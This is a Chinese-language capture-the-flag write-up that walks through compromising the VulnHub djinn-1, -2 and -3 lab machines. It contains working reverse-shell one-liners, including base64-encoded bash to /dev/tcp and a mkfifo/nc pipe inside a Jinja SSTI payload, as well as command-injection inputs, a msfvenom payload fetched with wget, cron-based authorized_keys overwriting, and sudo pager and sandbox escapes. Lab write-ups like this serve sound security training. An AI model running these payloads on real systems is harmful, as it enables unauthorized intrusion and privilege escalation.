vulnhub-djinn系列

djinn-1

信息搜集

22端口服务虽然开着,但处于tcpwrapped状态,即非白名单主机无法连接

7331有个静态页面

扫描目录

ftp登录

有ftp端口,hydra爆破试下

ftp用户好像随便登录。。。登上去看看目录下有三个文件

下载下来看看

cred.txt得知存在nitu用户

game.txt说1337端口有个游戏,直接访问不到,nc成功连接是个计算的小游戏

message.txt是个留言

端口敲门

game.txt提示回答一千次答案就有礼物,那么利用pwntools写个脚本

from pwn import *

def result(raw1,raw2,raw3):
   if raw2 == '+':
       return int(raw3+raw1)
   if raw2 == '-':
       return int(raw3-raw1)
   if raw2 == '*':
       return int(raw3*raw1)
   if raw2 == '/':
       return int(raw3/raw1)

s = remote('192.168.119.136','1337')
res = s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()
res2 = str(res,encoding='UTF-8')
res3 = list(res2)
raw1 = int(res3[-3])
raw2 = res3[-7]
raw3 = int(res3[-11])
re = result(raw1,raw2,raw3)
print(raw1,raw2,raw3)
print(re)
s.sendline(str(re))
i=0
while(1):
   i+=1
   print('第'+str(i)+'次')
   if i>1000:
       print(s.recvline()+s.recvline()+s.recvline())
       exit(1)
   res4=s.recvline()
   print(res4)
   res5 = str(res4,encoding='UTF-8')
   res6 = list(res5)
   raw4 = int(res6[-3])
   raw5 = res6[-7]
   raw6 = int(res6[-11])
   re2 = result(raw4,raw5,raw6)
   print(re2)
   s.sendline(str(re2))

给了三个数字,猜测可能是三个端口号,想起了之前的端口敲门服务,试一下

现在的ssh是不可访问的

依次‘敲'1356,6784,3409,可能失败,多敲几次就开了

ssh登录

现在只知道有个nitu用户,但没有密码无法登录,继续看另一条线,之前扫目录得到的wish

访问有个命令框,扫出个命令执行

测试一下,输入ls,跟随跳转是可以看到回显的

那么试试nc连接shell

显示

bash同样回显,可能过滤了/bin/sh字符

那么把payload base64转换处理试试

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMjgvOTk5OSAwPiYxCg==" | base64 -d | bash

在.dev目录下找到nitish用户的密码

sudo -l得知genie命令免密

python沙箱逃逸提权

查看帮助

有两个貌似可以执行命令的参数,试一下

直接进来了。。。。

继续

又是个奇怪的游戏

退出的时候看着像python,试试沙箱逃逸

__import__("os").system("whoami")

那么直接

__import__("os").system("/bin/sh")

root目录下通关信息

djinn-2

信息搜集

ftp可以匿名登录,查看目录下还是有三个文件

nitu用户仍然存在,并且说时解雇了sam并且雇佣了一个新的成员ugtan

1337端口nc连接又是一个小游戏,但这里回答两次就给一句名人名言

5000端口服务不接受get请求,但post上去显示访问拒绝

7331端口依旧是静态界面

扫目录结果如下

robots.txt

source文件下载打开

import re
from time import sleep
import requests
URL = "http://{}:5000/?username={}&password={}"
def check_ip(ip: str):
  """
  Check whether the input IP is valid or not
  """
  if re.match(r'^(?:(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
              '(\.(?!$)|$)){4}$', ip):
      return True
  else:
      return False
def catcher(host, username, password):
  try:
      url = URL.format(host, username, password)
      requests.post(url)
      sleep(3)
  except Exception:
      pass
  print("Unable to connect to the server!!")
def main():
  print("If you have this then congratulations on being a part of an awesome organization")
  print("This key will help you in connecting to our system securely.")
  print("If you find any issue please report it to ugtan@djinn.io")
  ip = input('\nIP of the machine: ')
  username = input('Your username: ')
  password = input('Your password: ')
  if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED":
      print("Verifiying %s with host %s " % (username, ip))
      catcher(ip, username, password)
  else:
      print("Invalid IP address given")
if __name__ == "__main__":
  main()

发现是5000端口服务的登录方式,这时xray也扫到了5000端口登录的命令注入

但依旧是过滤了bash和nc等等,之前的base64方式也用不了了

wish目录下仍然是个对话框,但就像他说的,命令注入已经修复

Getshell

感觉突破口就只剩下5000端口的rce了,之前已经测试发现过滤了很多东西,查看下具体

直接弹不了shell,但这里注意到靶机的wget是可以用的,那么我们可以利用生成后门,远程下载之后在靶机上执行

msfvenom生成linux可执行文件

本地python启一个http服务,靶机上wget下载到tmp目录,chmod 777 /tmp/hack.elf赋予执行权限

本地msf准备监听

执行exploit,burp执行/tmp/hack.elf

可以看到已经成功得到session

python用不了直接nc或者bash弹出来

backups目录下除了一堆备份文件还找到一个kdbx文件

baidu一下

说是可以用keepass打开,nc把文件传出来,windows下keepass下打开看看

但是需要一个密码才能打开这个文件

正好之前的creds.txt里有一串字符串

输进去看看,成功,点击general,右键复制密码成功得到nitish用户的密码&HtMGd$LJB

命令注入

那么切换nitu用户,但权限不足无法直接切换,ssh连接成功

一番寻找无果,查看端口进程发现2843端口一直在监听本地地址

有一些功能

1,3展示,2没权限,4原样输入和展示,5可以添加给6查看

但第6个选项注意到它在读取之前是会进行一项cat操作的,并且对象是通过5添加的文件名

我们添加一个etc/passwd试试

成功读取

因此我们知道这里存在一个命令执行

那么试着反弹shell

bash和nc都失败

base64成功反弹shell

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOC4xMDgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

cronjob提权

/var/mail目录下有封邮件

告诉说他已经在家目录里面创建好了目录,应该是这

说你可以创建一个clean.sh并且cronjob会自动提交任务执行,那么写入bash,监听端口等待执行即可

成功获取root权限,完成

djinn-3

信息搜集

端口开放及服务

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 05:50 EST
Nmap scan report for 192.168.117.40
Host is up (0.00016s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open ssh
80/tcp   open http
5000/tcp open upnp
31337/tcp open Elite
MAC Address: 00:0C:29:66:A8:11 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.62 seconds

80端口

目录扫描无结果

5000端口

点击link

对id参数测试无结果

31337端口需要登录认证

Getshell

观察5000端口页面信息

提到存在一个guest用户,登录试试

发现利用open命令新建一个ticket会直接显示在5000端口的页面

试试命令注入,插入php代码和命令均无果

翻回去看,信息搜集没做好,nmap没探测清楚5000端口的命令,重新探测

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 06:25 EST
Nmap scan report for 192.168.117.40
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp   open http   lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp open http   Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open Elite?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
|     username>
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     username> password> authentication failed
|   Help:
|     username> password>
|   RPCCheck:
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SSLSessionReq:
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie:
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|_   UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte

编程语言是python,会将输入的信息显示到网页,考虑ssti模板注入

open创建一个测试ticket

成功回显

那么利用ssti命令执行

payload:

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

那么弹个shell

{{config.__class__.__init__.__globals__['os'].popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.104 8888 >/tmp/f").read()}}

ssh免密登录

home用户下存在三个用户

发现opt目录下还有两个pyc文件

下载下来反编译看看

.configuration.cpython-38.pyc

import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
config = None

@staticmethod
def read_config(path):
"""Reads the config file
"""
config_values = {}
try:
with open(path, 'r') as (f):
config_values = json.load(f)
except Exception as e:
try:
print("Couldn't properly parse the config file. Please use properl")
sys.exit(1)
finally:
e = None
del e

else:
return config_values

@staticmethod
def set_config_path():
"""Set the config path
"""
files = glob('/home/saint/*.json')
other_files = glob('/tmp/*.json')
files = files + other_files
try:
if len(files) > 2:
files = files[:2]
else:
file1 = os.path.basename(files[0]).split('.')
file2 = os.path.basename(files[1]).split('.')
if file1[(-2)] == 'config':
if file2[(-2)] == 'config':
a = dt.strptime(file1[0], '%d-%m-%Y')
b = dt.strptime(file2[0], '%d-%m-%Y')
if b < a:
filename = files[0]
else:
filename = files[1]
except Exception:
sys.exit(1)
else:
return filename

两个函数,read_config读取路径下config文件,set_config_path搜索对应路径下以json格式结尾的两个文件,将文件名以.为间隔分为数组,使用strptime函数处理获取文件的时间为日期格式,使得file1,file为形如['xx-xx-xx','config','.json']的格式,比较两个文件的时间,若是/tmp文件下文件较早,返回home目录下json文件,相反返回/tmp目录下json文件

.syncer.cpython-38.pyc

from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
"""Main function
Cron job is going to make my work easy peasy
"""
configPath = ConfigReader.set_config_path()
config = ConfigReader.read_config(configPath)
connections = checker(config)
if 'FTP' in connections:
ftpcon(config['FTP'])
else:
if 'SSH' in connections:
sshcon(config['SSH'])
else:
if 'URL' in connections:
sync(config['URL'], config['Output'])


if __name__ == '__main__':
main()

main函数根据文件内容选择连接方式

通过上传的工具查看进程可以知道saint目录下会定时执行脚本文件

猜测是执行上面两个脚本,已知文件格式,尝试构造文件,利用main的连接方式进行ssh免密登录

首先ssh-keygen在本机生成一个公私钥对

复制id_rsa.pub内容,新建一个authorized_keys文件

创建20-11-2020.config.json文件,内容如下

{
"URL":"http://192.168.118.108:9901/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}

完成后本地python开一个http服务器等待

靶机tmp目录wget下载json文件

这样,脚本执行时就会下载本机的key再输出覆盖到saint用户的key,从而实行远程ssh免密登录

等待saint用户home下脚本执行,成功ssh登录

添加用户

sudo -l可以免密执行adduser

可以添加root组用户

查看sudoers文件

有了root权限,可以查看其他可以执行sudo组命令的文件

jason用户不存在,返回saint用户创建

apt-get提权

apt除了可以安装包之外

查看它的帮助选项

有个changelog命令可以展示目标包的变更日志,并且测试发现是分页模式下阅读

之前已经学到,如果我们在这种分页状态下输入诸如!+command的指令,命令就会执行

输入sudo apt-get changelog tree,在分页模式下输入bash

成功执行,拿到root权限

完成

发表评论